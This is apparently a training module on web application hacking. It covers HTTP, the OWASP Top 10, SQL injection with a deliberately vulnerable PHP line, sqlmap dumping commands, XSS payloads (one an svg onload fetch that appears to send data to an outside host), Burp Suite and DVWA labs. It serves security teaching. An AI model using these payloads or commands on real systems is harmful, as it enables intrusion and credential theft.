■■ LINUX FOR HACKERS
Web Application Hacking
MODULE 6 · WEB HACKING FUNDAMENTALS
The Web Attack Surface
Web applications are the #1 attack vector in modern breaches. Understanding how HTTP works,
how browsers interact with servers, and where developers make mistakes is essential
knowledge for any hacker or defender.
HTTP is stateless — every request is independent; sessions are faked with cookies/tokens
Every input field, URL parameter, header, and cookie is a potential injection point
Client-side code (HTML/JS) is fully visible — always check the page source
APIs are web apps too — JSON endpoints have all the same vulnerabilities
HTTP Fundamentals
GET /login?user=admin HTTP/1.1
Host: [Link]
Cookie: session=abc123
Method Purpose
GET Retrieve a resource (params in URL)
POST Submit data (params in body)
PUT Replace a resource
DELETE Delete a resource
OPTIONS Ask server what methods are allowed
HTTP Status Codes to Know
Code Meaning
200 OK Request succeeded
301/302 Redirect — follow it!
401 Unauthorized Need to authenticate
403 Forbidden Authenticated but no permission
Linux for Hackers · Page 1 Hack ethically — always get permission!
404 Not Found Resource missing (or hidden)
500 Internal Server Error Server crashed — check for info leaks
503 Service Unavailable May indicate WAF blocking you
The OWASP Top 10 (2021)
# Vulnerability Quick Description
A01 Broken Access Control Users accessing data/functions they shouldn't
A02 Cryptographic Failures Weak/missing encryption; data exposed in transit
A03 Injection SQL, Command, LDAP injection via untrusted input
A04 Insecure Design Flawed architecture, not just bad code
A05 Security Misconfiguration Default creds, open cloud storage, verbose errors
A06 Vulnerable Components Using libraries with known CVEs
A07 Auth Failures Broken login, weak passwords, bad session management
A08 Software Integrity Failures Unsigned updates, insecure CI/CD pipelines
A09 Logging Failures No audit trail; breaches go undetected
A10 SSRF Server tricked into fetching internal resources
SQL Injection
SQL injection occurs when user input is concatenated directly into a SQL query without
sanitisation. It remains one of the most devastating and common vulnerabilities.
Vulnerable PHP code:
$q = "SELECT * FROM users WHERE user='" . $_GET['u'] . "'";
Attack payload — close the string and inject logic:
' OR '1'='1
' OR 1=1 --
admin'--
Automated SQLi with sqlmap:
Command Purpose
sqlmap -u '[Link] Auto-detect SQL injection in parameter
sqlmap -u URL --dbs Enumerate all databases
sqlmap -u URL -D mydb --tables List tables in database mydb
sqlmap -u URL -D mydb -T users --dump
Dump the users table
sqlmap -u URL --forms Auto-test all forms on the page
Linux for Hackers · Page 2 Hack ethically — always get permission!
Cross-Site Scripting (XSS)
XSS injects JavaScript into a page viewed by other users. Used to steal session cookies,
redirect users, or deface pages.
<script>alert('XSS')</script>
<img src=x onerror=alert([Link])>
<svg onload=fetch('[Link]
■ Use Burp Suite's Repeater to test XSS payloads rapidly without reloading pages.
Burp Suite Essentials
Tool What It Does
Proxy Intercept and modify browser requests in real time
Repeater Resend and tweak a single request repeatedly
Intruder Automated fuzzing / brute-force of parameters
Scanner Passive/active vulnerability scanning (Pro only)
Decoder Encode/decode Base64, URL, HTML, hex instantly
Comparer Diff two requests or responses side-by-side
Setup: Set browser proxy to [Link]:8080 | Import Burp CA cert in browser.
Lab Exercises
Lab 1: Install DVWA locally (Docker: docker run -d -p 80:80 vulnerables/web-dvwa). Test
SQL injection on the login form.
Lab 2: Use sqlmap against DVWA's SQLi challenge and dump the entire users table
including password hashes.
Lab 3: Find and exploit a reflected XSS vulnerability in DVWA. Make it display the
[Link] value.
Lab 4: Intercept a login request with Burp Suite Proxy. Modify the username to admin and
observe the response.
Lab 5: Use gobuster to find 3 hidden pages on DVWA, then manually test each for
vulnerabilities.
Linux for Hackers · Page 3 Hack ethically — always get permission!